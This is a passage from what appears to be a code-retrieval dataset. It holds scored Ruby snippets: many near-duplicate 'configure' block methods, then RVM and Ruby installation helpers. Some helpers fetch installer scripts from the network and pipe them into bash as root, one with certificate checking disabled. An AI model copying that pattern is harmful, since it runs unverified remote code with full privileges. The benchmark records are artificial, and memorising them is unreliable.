configure(&block)\n self.instance_eval(&block) if block_given?\n end", "title": "" }, { "docid": "30941823c05c65c5e3621c32acc381f9", "score": "0.7551215", "text": "def configure(&block)\n Configuration.configure(self, &block) if block\n end", "title": "" }, { "docid": "157b2e220d2b13e08a9576b101b6d6e1", "score": "0.75508636", "text": "def configure(&block)\n @config = Config.new.tap(&block)\n end", "title": "" }, { "docid": "951091ca66e2eb45860c8f7796bf6d0e", "score": "0.7541628", "text": "def configure &block\n instance_eval(&block)\n end", "title": "" }, { "docid": "2094ae583909781ddd12b6dc22d774f1", "score": "0.7539048", "text": "def configure(&block)\n instance_eval(&block)\n end", "title": "" }, { "docid": "f20d4ac27b21ff2958afe0c1e494d750", "score": "0.7535454", "text": "def configure(&block)\n yield config\n end", "title": "" }, { "docid": "7f17af4428b85c772f2271e35f3c21fa", "score": "0.7535242", "text": "def configure(&blk)\n blk.call(configuration)\n end", "title": "" }, { "docid": "ebf082d9afb3a191c8231ff5a1fa1654", "score": "0.7527711", "text": "def configure &block\n yield @defaults\n end", "title": "" }, { "docid": "744189e5dea43a7b7cc75a1aee3e5401", "score": "0.75009453", "text": "def configure(&block)\n if block.arity.zero?\n control.config.instance_eval(&block)\n else\n yield control.config\n end\n end", "title": "" }, { "docid": "8a08c14e693cb7cf6c994cc5f9bc7cf3", "score": "0.74908733", "text": "def configure(options = T.unsafe(nil), &block); end", "title": "" }, { "docid": "5b9c84a834043be4e7e5b04d26a48f39", "score": "0.7462748", "text": "def config &block\n instance_eval &block\n end", "title": "" }, { "docid": "a6a44350b9b90bd20a56cf9902180251", "score": "0.7421417", "text": "def configure(&block)\n yield(config) if block_given?\n end", "title": "" }, { "docid": "480e5a5dd59cde7c621313ada8b1c022", "score": "0.7414839", "text": "def configure(&block)\n config.configure(&block)\n self\n end", "title": "" }, { "docid": "d74614aa9b04e48371b5986d89192483", "score": "0.74074775", "text": "def configure(&block)\n block.call(self.configuration)\n end", "title": "" }, { "docid": "487b68d1c4f55e733f63eafd73eba88b", "score": "0.74068075", "text": "def configuration(&block)\n Configuration.init(&block)\n end", "title": "" }, { "docid": "ee5559dd192bd965a8822cd24e119168", "score": "0.7390148", "text": "def configure(&block)\n yield(configuration)\n configuration\n end", "title": "" }, { "docid": "ee5559dd192bd965a8822cd24e119168", "score": "0.7390148", "text": "def configure(&block)\n yield(configuration)\n configuration\n end", "title": "" }, { "docid": "ee5559dd192bd965a8822cd24e119168", "score": "0.7390148", "text": "def configure(&block)\n yield(configuration)\n configuration\n end", "title": "" }, { "docid": "0ea35391bec12a435de60ebcd24d3498", "score": "0.7368549", "text": "def configure(&block)\n block.call(configuration) if block_given?\n configuration\n end", "title": "" }, { "docid": "3a93f1a463da9ec181465f9f4bac3107", "score": "0.73674786", "text": "def configure(&block)\n instance.configure(&block)\n end", "title": "" }, { "docid": "3a93f1a463da9ec181465f9f4bac3107", "score": "0.73674786", "text": "def configure(&block)\n instance.configure(&block)\n end", "title": "" }, { "docid": "3a93f1a463da9ec181465f9f4bac3107", "score": "0.73674786", "text": "def configure(&block)\n instance.configure(&block)\n end", "title": "" }, { "docid": "3e0add3326ea598a241a2140dd0277a9", "score": "0.7358291", "text": "def config(&block)\n squire.settings(&block)\n end", "title": "" }, { "docid": "27f1feef37abb8eb7588357be05ff8f6", "score": "0.734479", "text": "def configure(&block)\r\n instance_exec(&block)\r\n end", "title": "" }, { "docid": "15134379dc27249c7805a7a124a11e66", "score": "0.7343398", "text": "def configure(&block)\n tap(&block)\n end", "title": "" }, { "docid": "2c018eb766092553f7ede210132ae5d3", "score": "0.73394316", "text": "def configure(&block)\n instance_eval(&block)\n end", "title": "" }, { "docid": "f53b3ffa69e158b7818ef707e16e94da", "score": "0.7333708", "text": "def config(&block)\n block and block.call(self.configuration)\n end", "title": "" }, { "docid": "87e72a24bb49964d89e12a677c56eed0", "score": "0.73277104", "text": "def config(&block)\n yield self\n self\n end", "title": "" }, { "docid": "a566b1878158c91f619e66c7ecadc50b", "score": "0.7323208", "text": "def configure(&block)\n @config = ConfigurationFile::Config.new(self).tap do |config|\n config.configure(block)\n end\n end", "title": "" }, { "docid": "82852152e40761cdeada6efd6d7d60f0", "score": "0.7313174", "text": "def configure &block\n block.call(self)\n end", "title": "" }, { "docid": "54b7b7f78b8b769c8ca2e3fb7ad8bed7", "score": "0.72818536", "text": "def config(&block)\n instance_eval &block\n end", "title": "" }, { "docid": "e28f260c9f2cb6e5ca6508b91988d96f", "score": "0.72731525", "text": "def configure(&block)\n Interfaces::Config.instance.configure(&block)\n end", "title": "" }, { "docid": "e28f260c9f2cb6e5ca6508b91988d96f", "score": "0.72731525", "text": "def configure(&block)\n Interfaces::Config.instance.configure(&block)\n end", "title": "" }, { "docid": "e28f260c9f2cb6e5ca6508b91988d96f", "score": "0.72731525", "text": "def configure(&block)\n Interfaces::Config.instance.configure(&block)\n end", "title": "" }, { "docid": "0dd67193212868ad4323cf079d241ddb", "score": "0.72700727", "text": "def configure\n yield configuration if block_given?\n end", "title": "" }, { "docid": "0dd67193212868ad4323cf079d241ddb", "score": "0.72700727", "text": "def configure\n yield configuration if block_given?\n end", "title": "" }, { "docid": "59a79b8ddc3bc696eca7e6b129922517", "score": "0.7253498", "text": "def configure\n yield config if block_given?\n end", "title": "" }, { "docid": "b111935c6db6f65602da15d31bbc872e", "score": "0.720727", "text": "def configure(&block)\n @config = BeaconControl::Base::Config.new &block\n end", "title": "" }, { "docid": "0a20abb4643333c491e2fdee77d70efd", "score": "0.7205493", "text": "def setting(name, **options, &block); end", "title": "" }, { "docid": "166a8cdcba4e236440c7f9222a3991ff", "score": "0.7190116", "text": "def configure(options = {})\n if block_given?\n yield config\n else\n options.each do |key, val|\n config.send(\"#{key}=\", val)\n end\n end\n end", "title": "" }, { "docid": "04e800d878f75e7bd8ff3e62117b8cce", "score": "0.7186075", "text": "def configure(options = {})\n if block_given?\n yield config\n else\n options.each do |key, val|\n config.send(\"#{key}=\", val)\n end\n end\n end", "title": "" }, { "docid": "50256b220136f176e81148a3062d889f", "score": "0.7185688", "text": "def configure(&block)\n yield self\n end", "title": "" }, { "docid": "4716d53957106a3eceddaffdada7524d", "score": "0.7184843", "text": "def configure\n yield self.config if block_given?\n end", "title": "" }, { "docid": "e72856fd5c9e2d402754e9dbda0667a6", "score": "0.71815556", "text": "def options(&block)\n @optparse_block = block\n end", "title": "" }, { "docid": "2f9bc45d7928965c119227285909a84e", "score": "0.71720076", "text": "def config( &blk )\n if blk\n @configure.instance_eval &blk \n end\n @configure\n end", "title": "" }, { "docid": "83ce0503744a2aeb929416c45aba3bc2", "score": "0.71697646", "text": "def configure\n yield config if block_given?\n end", "title": "" }, { "docid": "f9c8f4c6c1bd929acd3ef7eb78cad124", "score": "0.7164305", "text": "def configure(&block)\n @@configuration ||= Config.new\n configuration_dsl = Config::DSL.new(@@configuration)\n configuration_dsl.instance_eval(&block)\n end", "title": "" }, { "docid": "b64a2a309221dcd5fb8dadf2fca4b16b", "score": "0.71610874", "text": "def configure\n yield @config if block_given?\n end", "title": "" }, { "docid": "2249bc57b4f58eac255b675b8955ab87", "score": "0.71552444", "text": "def setting(*args, **options, &block); end", "title": "" }, { "docid": "1a2ab0ca2cc96767df362f16228f12d0", "score": "0.7148689", "text": "def configure(*a, &b)\n options.configure(*a, &b)\n end", "title": "" }, { "docid": "9def41fd7432a61ff81b57cc3912d763", "score": "0.7135112", "text": "def configure(&block)\n @component.configure << yield\n end", "title": "" }, { "docid": "966959a61fe16065c4dcc4a9a90e2d4a", "score": "0.7126488", "text": "def configure(&block)\n self.shared_config ||= Configuration.new\n shared_config.instance_eval &block\n end", "title": "" }, { "docid": "1b9ac0f44083a7f0784f5bbcee71bf3f", "score": "0.7118487", "text": "def config(*args, **kwargs, &block)\n if block\n configuration_builder.config(*args, **kwargs, &block)\n else\n configuration_builder.config(*args, **kwargs)\n end\n end", "title": "" }, { "docid": "fd1d22dcc5b393fd10013d6859458976", "score": "0.71086675", "text": "def set_config(name, value, *_args, &block)\n value = block if block_given?\n handle_config(name, value)\n end", "title": "" }, { "docid": "7bbe5b034788e0aa6061b59f8f5d5fab", "score": "0.7087746", "text": "def configure(&block)\n yield(self)\n end", "title": "" }, { "docid": "7bbe5b034788e0aa6061b59f8f5d5fab", "score": "0.7087746", "text": "def configure(&block)\n yield(self)\n end", "title": "" }, { "docid": "7bbe5b034788e0aa6061b59f8f5d5fab", "score": "0.7087746", "text": "def configure(&block)\n yield(self)\n end", "title": "" }, { "docid": "7bbe5b034788e0aa6061b59f8f5d5fab", "score": "0.7087746", "text": "def configure(&block)\n yield(self)\n end", "title": "" }, { "docid": "7bbe5b034788e0aa6061b59f8f5d5fab", "score": "0.7087746", "text": "def configure(&block)\n yield(self)\n end", "title": "" }, { "docid": "7bbe5b034788e0aa6061b59f8f5d5fab", "score": "0.7087746", "text": "def configure(&block)\n yield(self)\n end", "title": "" }, { "docid": "7bbe5b034788e0aa6061b59f8f5d5fab", "score": "0.7087746", "text": "def configure(&block)\n yield(self)\n end", "title": "" }, { "docid": "b7062ef71b78f9c6d739391e5445c379", "score": "0.7085188", "text": "def config(&block)\n if block_given?\n block.call(@config)\n else\n @config\n end\n end", "title": "" }, { "docid": "f94e60f3c350c05f21c1d28972e39a3e", "score": "0.70708865", "text": "def options (&block)\n yield\n end", "title": "" }, { "docid": "e5b43b49ca634f3538dd3f1e53bba4a5", "score": "0.7060175", "text": "def configure(&block)\n setup(&block)\n self\n end", "title": "" }, { "docid": "a3bf7c2438fb94bf22df5810183de4eb", "score": "0.70375216", "text": "def configure(options={})\n init_config\n if block_given?\n yield self\n else\n options.each do |key, value|\n send(:\"#{key}=\", value)\n end\n end\n self\n end", "title": "" }, { "docid": "7762a721f96bea3a259cdfe2fe2141d6", "score": "0.7022924", "text": "def configure(opts = {}, &block)\n @options.merge!(opts)\n\n @options.merge!(Config::API.configure(defaults, &block)) if block_given?\n\n Vedeu::Configuration\n end", "title": "" }, { "docid": "a31ec522349473f5f2953bb3e81c37fb", "score": "0.70037603", "text": "def config_block(attributes, &block)\n proc do\n attributes.each { |k, v| send(k, v) }\n instance_exec(&block) if block_given?\n end\n end", "title": "" }, { "docid": "8bc49edc994ccb463b7981d87333186a", "score": "0.69913226", "text": "def configure(*val , &block)\n case val.size\n when 1\n return @config[val[0]]\n when 2\n @config[val[0]] = val[1]\n instance_variable_set(\"@#{val[0]}\", val[1]) \n end\n instance_eval &block if block_given?\n end", "title": "" }, { "docid": "8bc49edc994ccb463b7981d87333186a", "score": "0.69913226", "text": "def configure(*val , &block)\n case val.size\n when 1\n return @config[val[0]]\n when 2\n @config[val[0]] = val[1]\n instance_variable_set(\"@#{val[0]}\", val[1]) \n end\n instance_eval &block if block_given?\n end", "title": "" }, { "docid": "c184bbcba861f08bc4e8c179e39f6c75", "score": "0.69778174", "text": "def patch_config(&block)\n if block_given?\n yield self\n else\n self\n end\n end", "title": "" } ]
7b65b0f1c36185ff6ab76fdf7b363e47
We need this so that we can install rvm first!
[ { "docid": "8cbdd240bf548a6cfe571eb4cb33e163", "score": "0.0", "text": "def disable_rvm_shell(&block)\n default_shell = self[:default_shell]\n self[:default_shell] = nil\n yield\n self[:default_shell] = default_shell\nend", "title": "" } ]
[ { "docid": "d1bf0bd0fd47f3994ab5c116890ce35d", "score": "0.66533566", "text": "def perform_install!\n prompt_for_root_password!\n\n message \"Which Ruby would you like to install and use as your default Ruby Interpreter?\"\n ruby_version = choose_ruby_version!\n message \"Going to install #{y(ruby_version)} after the #{y('RVM')} installation finishes.\"\n\n ##\n # Update aptitude package list and install git/curl/wget\n Spinner.return :message => \"Updating package list and installing #{y('RVM')} requirements..\" do\n e.install!(\"git-core curl wget;\")\n g(\"Done!\")\n end\n\n ##\n # Download Packages\n Spinner.return :message => \"Downloading Git Pusshu Ten #{y('packages')}..\" do\n e.download_packages!(\"$HOME\", :root)\n g(\"Done!\")\n end\n\n ##\n # Install RVM (system wide)\n Spinner.return :message => \"Installing #{y('RVM')}..\" do\n e.execute_as_root(\"cd $HOME; wget -O rvm-install-system-wide --no-check-certificate http://bit.ly/rvm-install-system-wide; bash rvm-install-system-wide; rm rvm-install-system-wide;\")\n g(\"Done!\")\n end\n\n ##\n # Download Git Packages and add the rvm load snippet into /etc/profile.\n if not e.execute_as_root(\"cat /etc/profile\").include?('source \"/usr/local/rvm/scripts/rvm\"')\n Spinner.return :message => \"Configuring #{y('/etc/profile')}..\" do\n e.execute_as_root(\"cd $HOME; cat gitpusshuten-packages/modules/rvm/profile >> /etc/profile\")\n g(\"Done!\")\n end\n end\n\n ##\n # Add the gemrc into the root's home directory\n if not e.file?('/root/.gemrc')\n Spinner.return :message => \"Configuring #{y('.gemrc')} file..\" do\n e.execute_as_root(\"cd $HOME; cat gitpusshuten-packages/modules/rvm/gemrc > ~/.gemrc\")\n g(\"Done!\")\n end\n end\n\n ##\n # Create a .bashrc in $HOME to load /etc/profile for non-interactive sessions\n if not e.execute_as_root(\"cat $HOME/.bashrc\").include?('source /etc/profile')\n Spinner.return :message => \"Configuring #{y('.bashrc')}..\" do\n e.execute_as_root(\"echo 'source /etc/profile' > $HOME/.bashrc; source $HOME/.bashrc\")\n g(\"Done!\")\n end\n end\n\n ##\n # Install required packages for installing Ruby\n Spinner.return :message => \"Installing the Ruby Interpreter #{y('dependency packages')}..\" do\n e.install!(\"build-essential bison openssl libreadline6 libreadline6-dev curl git-core zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-0 libsqlite3-dev sqlite3 libxml2-dev libxslt-dev autoconf\")\n g(\"Done!\")\n end\n\n ##\n # Install a Ruby version\n Spinner.return :message => \"Installing #{y(ruby_version)} with #{y('rvm')}. This may take a while..\" do\n e.execute_as_root(\"rvm install #{ruby_version}\")\n g(\"Done!\")\n end\n\n ##\n # Set the Ruby version as the default Ruby\n Spinner.return :message => \"Making #{y(ruby_version)} the default Ruby..\" do\n e.execute_as_root(\"rvm use #{ruby_version} --default\")\n g(\"Done!\")\n end\n\n ##\n # Clean up Packages\n Spinner.return :message => \"Cleaning up Git Pusshu Ten #{y('packages')}..\" do\n e.clean_up_packages!(\"$HOME\", :root)\n g(\"Done!\")\n end\n\n message \"Finished!\"\n end", "title": "" }, { "docid": "c384391644102ef447de6780c224dd30", "score": "0.6617845", "text": "def maglev_using_rvm\n ENV['rvm_path'] != \"\" && (/^maglev/ =~ ENV['rvm_ruby_string']) == 0\nend", "title": "" }, { "docid": "c384391644102ef447de6780c224dd30", "score": "0.6617845", "text": "def maglev_using_rvm\n ENV['rvm_path'] != \"\" && (/^maglev/ =~ ENV['rvm_ruby_string']) == 0\nend", "title": "" }, { "docid": "c3bd932675d5999aff75819c88160615", "score": "0.63994664", "text": "def install_r10k\n cputs \"Installing r10K\"\n system('PATH=$PATH:/opt/puppetlabs/puppet/bin:/usr/local/bin /opt/puppetlabs/puppet/bin/gem install r10k --no-RI --no-RDOC')\nend", "title": "" }, { "docid": "019f6cb1adc063482e421b3531a31fb5", "score": "0.6354416", "text": "def install_r10k\n cputs \"Installing R10K\"\n system('PATH=$PATH:/opt/puppetlabs/puppet/bin:/usr/local/bin /opt/puppetlabs/puppet/bin/gem install r10k --no-RI --no-RDOC')\nend", "title": "" }, { "docid": "dc0898c0ec77a2739620fd7c09a4367a", "score": "0.62691313", "text": "def update_ruby_rubygems\n return unless @use_rvm && !@ruby_version.empty?\n\n write_output \"\\nUsing RVM w/Ruby Version #{@ruby_version}\"\n \n exit_code = update_ruby(@ruby_version)\n if exit_code.success?\n if !@rubygems_version.empty?\n write_output \"\\nUsing RubyGems Version #{@rubygems_version}\\n\"\n update_rubygems(@ruby_version, @rubygems_version)\n end\n end\n end", "title": "" }, { "docid": "8e3d92b2a20a5501bcda12b97ed91974", "score": "0.62075937", "text": "def install\n begin\n new_rubies.each do |ruby|\n RVM.run \"rvm install #{ruby}\"\n end\n return true\n rescue Exception => e\n return false\n end\n end", "title": "" }, { "docid": "97cca09724ff67cc484fd4d2a7b105c9", "score": "0.6202019", "text": "def rvm_gemset\n say(\"Installing rvm gemset from templates\", :yellow)\n create_file \".rvmrc\", \"rvm --create 1.9.2-p0@#{app_name}\"\n end", "title": "" }, { "docid": "182bb93bef83fd8aa628bd0a0bdcc8a8", "score": "0.615131", "text": "def install_this_gem\n rvm_gemset = \"inlinetests-isolated\"\n use_rvm(\"1.8.7\")\n use_rvm_gemset(rvm_gemset, true)\n install_gems(%{\n gem 'rake'\n gem 'jeweler'\n gem 'rspec'\n gem 'cucumber'\n gem 'open_gem'\n gem \"commander\", :path => \"~/Projects/github/commander\"\n })\n run(\"rake install\")\nend", "title": "" }, { "docid": "897cd9541c7a1f10e8f54fc40bf67656", "score": "0.6138143", "text": "def build_rvm_install\n rvm_fw_url = node['rvm_fw']['url']\n rvm_fw_url ||= ENV['RVM_FW_URL']\n fail 'RVM::FW URL is a required attribute!' if rvm_fw_url.nil?\n if node['rvm_fw']['user'] == 'root'\n bash_cmd = 'sudo bash'\n else\n bash_cmd = 'bash'\n end\n\n \"\\\\#{dynamic_get_command} | #{bash_cmd}\"\n end", "title": "" }, { "docid": "1a3c204ff82cbab9fdb29f8df16a538e", "score": "0.61353576", "text": "def install_ruby\n end", "title": "" }, { "docid": "78759e862e89cb56cdf7daf5b10765e6", "score": "0.6110948", "text": "def rvm(dir = Dir.pwd, options = {})\n info \"Initialize Ruby Version Manager (RVM)\"\n ap options if options[:debug]\n path = normalized_path(dir)\n use_git = FalkorLib::Git.init?(path)\n rootdir = (use_git) ? FalkorLib::Git.rootdir(path) : path\n files = {}\n exit_status = 1\n [:versionfile, :gemsetfile].each do |type|\n f = (options[type.to_sym].nil?) ? FalkorLib.config[:rvm][type.to_sym] : options[type.to_sym]\n if File.exist?( File.join( rootdir, f ))\n content = `cat #{File.join( rootdir, f)}`.chomp\n warning \"The RVM file '#{f}' already exists (and contains '#{content}')\"\n next unless options[:force]\n warning \"... and it WILL BE overwritten\"\n end\n files[type.to_sym] = f\n end\n # ==== Ruby version ===\n unless files[:versionfile].nil?\n file = File.join(rootdir, files[:versionfile])\n v = FalkorLib.config[:rvm][:version]\n if options[:ruby]\n v = options[:ruby]\n else\n v = select_from(FalkorLib.config[:rvm][:rubies],\n \"Select RVM ruby to configure for this directory\",\n (FalkorLib.config[:rvm][:rubies].find_index(FalkorLib.config[:rvm][:version]) + 1))\n end\n info \" ==> configuring RVM version file '#{files[:versionfile]}' for ruby version '#{v}'\"\n File.open(file, 'w') do |f|\n f.puts v\n end\n exit_status = (File.exist?(file) && (`cat #{file}`.chomp == v)) ? 0 : 1\n FalkorLib::Git.add(File.join(rootdir, files[:versionfile])) if use_git\n end\n # === Gemset ===\n if files[:gemsetfile]\n file = File.join(rootdir, files[:gemsetfile])\n default_gemset = File.basename(rootdir)\n default_gemset = `cat #{file}`.chomp if File.exist?( file )\n g = (options[:gemset]) ? options[:gemset] : ask(\"Enter RVM gemset name for this directory\", default_gemset)\n info \" ==> configuring RVM gemset file '#{files[:gemsetfile]}' with content '#{g}'\"\n File.open( File.join(rootdir, files[:gemsetfile]), 'w') do |f|\n f.puts g\n end\n exit_status = (File.exist?(file) && (`cat #{file}`.chomp == g)) ? 0 : 1\n FalkorLib::Git.add(File.join(rootdir, files[:gemsetfile])) if use_git\n end\n # ==== Gemfile ===\n gemfile = File.join(rootdir, 'Gemfile')\n unless File.exist?( gemfile )\n # Dir.chdir(rootdir) do\n # run %{ bundle init }\n # end\n info \" ==> configuring Gemfile with Falkorlib\"\n File.open( gemfile, 'a') do |f|\n f.puts \"source 'https://rubygems.org'\"\n f.puts \"\"\n f.puts \"gem 'falkorlib' #, :path => '~/git/github.com/Falkor/falkorlib'\"\n end\n FalkorLib::Git.add(gemfile) if use_git\n end\n exit_status.to_i\n end", "title": "" }, { "docid": "a569ab975e275bd03d579bc1c512ad8d", "score": "0.60469955", "text": "def on_rvm?\n `which ruby`.strip.include?('.rvm')\nend", "title": "" }, { "docid": "f839e19dc54a7cff3bc7638ee6a4a508", "score": "0.60419697", "text": "def install_deps\n system([\n \"sudo aptitude update\",\n \"sudo aptitude install -y build-essential zlib1g-dev libssl-dev libreadline5-dev wget rdoc ri\"\n ].join(\" && \"))\nend", "title": "" }, { "docid": "dfbe4af5d860a274773a7ca4aa28e015", "score": "0.60096836", "text": "def switch_rvm_version\n switch_directory\n system(\"rvm use 1.9.2\")\n end", "title": "" }, { "docid": "70f343afb86e6e5cd8e332950e0dd135", "score": "0.5994595", "text": "def install_gem gem, ver=nil\n gem_package gem do\n version ver \n gem_binary \"/usr/local/bin/rvm-gem.sh\"\n end\nend", "title": "" }, { "docid": "116cc09985bbd008b6e49b9d21102c3c", "score": "0.5966834", "text": "def setup_1_17_3\n system(*%w(gem update --system 3.0.6))\n system(*%w(gem uninstall bundler -a -x))\n system(*%w(rvm @global do gem uninstall bundler -a -x))\n system(*%w(gem install bundler -v 1.17.3))\nend", "title": "" }, { "docid": "46cbde621817111401b9cdfaac02a821", "score": "0.5964263", "text": "def manual_libraries_warning\n ::Chef::Log.warn('RVM will continue installing without pre-installing the\n following libraries:')\n %w( iconv libxml2 libxslt libyaml ncurses openssl readline zlib )\n .each do |lib|\n ::Chef::Log.warn(lib)\n end\n ::Chef::Log.warn 'It is strongly recommended to install these (or their\nequivalent for your platform) before installing Ruby!'\n end", "title": "" }, { "docid": "82c95e24da6fff8898d6c7f0dad87cc3", "score": "0.59136754", "text": "def install_ruby(ruby)\n ruby_install_succeeded = false\n ruby_install_duration = Benchmark.realtime do\n\t# fail if install takes longer than 60 minutes\n\tinstall_flags_argument = ruby['Install Flags'] == \"none\" ? \"''\" : \"'#{ruby['Install Flags']}'\"\n\truby_install_succeeded = run_with_output \"timeout --kill-after=5 #{60*60} #{script_path 'setup_ruby'} #{ruby['RVM Name']} #{install_flags_argument} '#{ruby['Before Install']}'\"\n end\n puts(ruby_install_succeeded ? \"successfully installed\" : \"failed to install\")\n puts \"Done installing #{ruby['RVM Name']}. Took %.1f minutes\" % [ruby_install_duration / 60]\n\n ruby_install_succeeded\nend", "title": "" }, { "docid": "4a2b0a424cd70faec0110f27b253e387", "score": "0.5894191", "text": "def install_virt_what()\n `which virt-what > /dev/nul`\n return if $?.success?()\n Package::install_apt_packages(\"virt-what\", [:dry_run])\nend", "title": "" }, { "docid": "f1007752c8b75b31d48e9f7fa0070fc5", "score": "0.5799135", "text": "def determine_rvm_prefix\n rvm = \"#{ENV['HOME']}/.rvm/bin/rvm\"\n %W(#{bundle_support_path}/bin/rvm_wrapper) if File.exist?(rvm)\n end", "title": "" }, { "docid": "31fb0eb59875e6b5a7cb66ef54c34e7f", "score": "0.57920486", "text": "def rvm(*args)\n options = extract_options!(args)\n silent = options.delete(:silent)\n rvm_by_path = options.delete(:rvm_by_path)\n rubygems_version = options.delete(:rubygems_version)\n rearrange_options!(args, options)\n args += hash_to_options(options)\n args.map! { |a| a.to_s }\n\n rvm_path = config_value_for(:rvm_path, self.class.default_rvm_path, false)\n program = rvm_by_path ? \"#{rvm_path}/bin/rvm\" : \"rvm\"\n program = \"rvm_rubygems_version=#{rubygems_version} #{program}\" if rubygems_version\n if silent\n run_silently(program, *args)\n else\n run(program, *args)\n end\n end", "title": "" }, { "docid": "aea34913bdc157d0bc0c584400ce0367", "score": "0.57759017", "text": "def with_rvm?\n !@ruby_string.nil?\n end", "title": "" }, { "docid": "20f83d366b667bd48dfd657d41d74919", "score": "0.577251", "text": "def install\n virtualenv_install_with_resources\n end", "title": "" }, { "docid": "5217203986aa6bfbcc69c888c832d1fd", "score": "0.57589644", "text": "def install_r10k(host)\n gem = '/opt/puppetlabs/puppet/bin/gem'\n on(host, \"#{gem} install r10k --no-document\")\nend", "title": "" }, { "docid": "0c34d0d030963949cfc27d75f8aceae4", "score": "0.57583857", "text": "def with_rvm_installed\n with_env('HOME' => \"#{__dir__}/fixtures/fake_rvm_home\") do\n yield\n end\n end", "title": "" }, { "docid": "d1b76fecb5dcf7b3228ed554c78a5f37", "score": "0.56914914", "text": "def install\n if File.file?(\"#{etc}/switchjdk-module.bash\") then\n system \"rm\", \"#{etc}/switchjdk-module.bash\"\n end\n bin.install 'add_switchjdk_to_bash_profile_safely.sh'\n etc.install 'switchjdk-module.bash'\n end", "title": "" }, { "docid": "ec5831c79b9cc46072b040986d9c28c3", "score": "0.5683737", "text": "def run_with_rvm(command)\n run command, :shell => \"#{rvm_shell}\"\n end", "title": "" }, { "docid": "566b634677779a46740446a80e7428ad", "score": "0.56742275", "text": "def linux_packages(run) \n expect(run).to install_package('pam.i686')\n expect(run).to install_package('libgcc.i686')\n\n expect(run).to install_package('ed')\nend", "title": "" }, { "docid": "bf47d461c908e286127cd687dc61de71", "score": "0.56652725", "text": "def rvm_wrap_cmd(cmd)\n %{bash -c \"source #{find_profile_to_source} && #{cmd.gsub(/\"/, '\\\"')}\"}\nend", "title": "" }, { "docid": "f67ff57a737b2894489aae524466b617", "score": "0.5654984", "text": "def install\n # Equivalent to upstream fix for \"fatal error: 'endian.h' file not found\"\n # https://github.com/pfalcon/axtls/commit/3e1b4909a2ddd76c5797f241f2ed56ef699a7e91\n # Should be removed at the next version bump (MicroPython > 1.8.2)\n inreplace \"lib/axtls/crypto/os_int.h\", \"#include <endian.h>\", \"\"\n\n cd \"unix\" do\n # Works around undefined symbol error for \"mp_thread_get_state\"\n # Reported 11 Jul 2016: https://github.com/micropython/micropython/issues/2233\n inreplace \"mpconfigport.mk\", \"MICROPY_PY_THREAD = 1\",\n \"MICROPY_PY_THREAD = 0\"\n system \"make\", \"axtls\"\n system \"make\", \"install\", \"PREFIX=#{prefix}\", \"V=1\"\n end\n end", "title": "" }, { "docid": "7393d0a7ffa57fdc2507c4fc10021ecf", "score": "0.56256044", "text": "def install\n bin.install \"ks_linux_amd64\" => \"ks\"\n end", "title": "" }, { "docid": "289df298dd8e742e06e97beafcb8ac1a", "score": "0.56230825", "text": "def rvmInfo\n\t\t\t\trvm = {}\n\n\t\t\t\trg = `rvm-prompt`\n\t\t\t\tif !rg.include?('@')\n\t\t\t\t\trvm[:ruby] = rg.chomp.split('-')[1]\n\t\t\t\t\trvm[:gemset] = ''\n\t\t\t\telse\n\t\t\t\t\trvmArray = rg.chomp.split('@')\n\t\t\t\t\trvm[:ruby] = rvmArray[0].split('-')[1]\n\t\t\t\t\trvm[:gemset] = rvmArray[1]\n\t\t\t\tend\n\n\t\t\t\trvm\n\t\t\tend", "title": "" }, { "docid": "935496cea714e7f37af6afda51b08b65", "score": "0.56205505", "text": "def setup_rubies\n rvm_loaded? ? true : raise(RuntimeError, \"RVM library not loaded.\", caller)\n @all_rubies_gemsets ||= all_rubies_gemsets(@root_path)\n @all_rubies_gemsets.keys.each do |rubie|\n if RVM.list_strings.include?(rubie)\n puts \"info: Rubie #{rubie} already installed.\"\n else\n with_rvm_environment_vars do\n install_rubie(rubie)\n end\n end\n RVM.alias_create(current_ruby_info(rubie)[0][:ruby_alias], \"#{rubie}\") unless rubie == current_ruby_info(rubie)[0][:ruby_alias]\n end\n end", "title": "" }, { "docid": "a6feae9f892771a07cb1eb0ed41eec12", "score": "0.5615429", "text": "def has_rvm_ruby(ruby_version)\n @commands << \"echo 'bypass sudo'; rvm list | grep #{ruby_version}\"\n end", "title": "" }, { "docid": "a1e497e0c4a8fb1e3de41daa23324732", "score": "0.5594302", "text": "def rvm_exec(cmd)\n conf = YAML.load_file(File.join(rails_root, \"config\", \"bixby.yml\"))[rails_env]\n env = {\n \"USE_RUBY_VERSION\" => conf[\"ruby\"],\n \"USE_RVM\" => (conf[\"rvm\"] == \"system\" ? \"system\" : conf[\"user\"]),\n \"_ORIGINAL_GEM_PATH\" => nil,\n \"BUNDLE_BIN_PATH\" => nil,\n \"RUBYOPT\" => nil,\n \"RUBYLIB\" => nil,\n \"PATH\" => ENV[\"PATH\"].split(/:/).reject{ |s| s =~ %r{\\.rvm|/usr/local/rvm} }.join(\":\"),\n \"RUN_IN_BG\" => \"1\",\n \"PUMA_INHERIT_SOCK\" => ENV[\"PUMA_INHERIT_SOCK\"]\n }\n\n rvm_wrapper = File.join(rails_root, \"config\", \"deploy\", \"rvm_wrapper.sh\")\n full_cmd = \"#{rvm_wrapper} #{cmd}\"\n\n cmd = nil\n log \"* chdir to #{rails_root}\"\n Dir.chdir(rails_root) do\n Bundler.with_clean_env do\n # do extra env cleanup, on top of our custom env created above\n cmd = Mixlib::ShellOut.new(full_cmd, :environment => env)\n cmd.run_command\n end\n end\n\n if cmd.error? then\n msg = \"server start failed with exit code #{cmd.status.exitstatus}\\n\"\n msg += \" command was: #{full_cmd}\\n\"\n msg += \" stdout/stderr:\\n\"\n msg += \" \" + cmd.stdout.gsub(/\\n/, \" \\n\") if cmd.stdout && !cmd.stdout.strip.empty?\n msg += \" \" + cmd.stderr.gsub(/\\n/, \" \\n\") if cmd.stderr && !cmd.stderr.strip.empty?\n error msg\n exit 1\n end\n\n s = cmd.stdout.strip\n if s.to_i.to_s == s then\n return s.to_i # the real pid is returned from the script, assuming it ran successfully\n end\n\n return cmd.status.pid\n end", "title": "" }, { "docid": "6f11a9eed76fed1496f444d40298c211", "score": "0.55905205", "text": "def install\n system \"make\", \"-C\", \"ports/unix\", \"install\", \"PREFIX=#{prefix}\"\n bin.install \"mpy-cross/build/mpy-cross\"\n end", "title": "" }, { "docid": "99eaceb08602a67f084a80be216b265a", "score": "0.5582656", "text": "def xfixrvml(path)\n #path.gsub!(/-L\\/home\\/ccoupe\\/\\.rvm/, \"-L#{TGT_SYS_DIR}rvm\")\n return path\nend", "title": "" }, { "docid": "da67b975248d8d90dce3a9136bb78892", "score": "0.5566389", "text": "def rvmrc\n @rvmrc\n 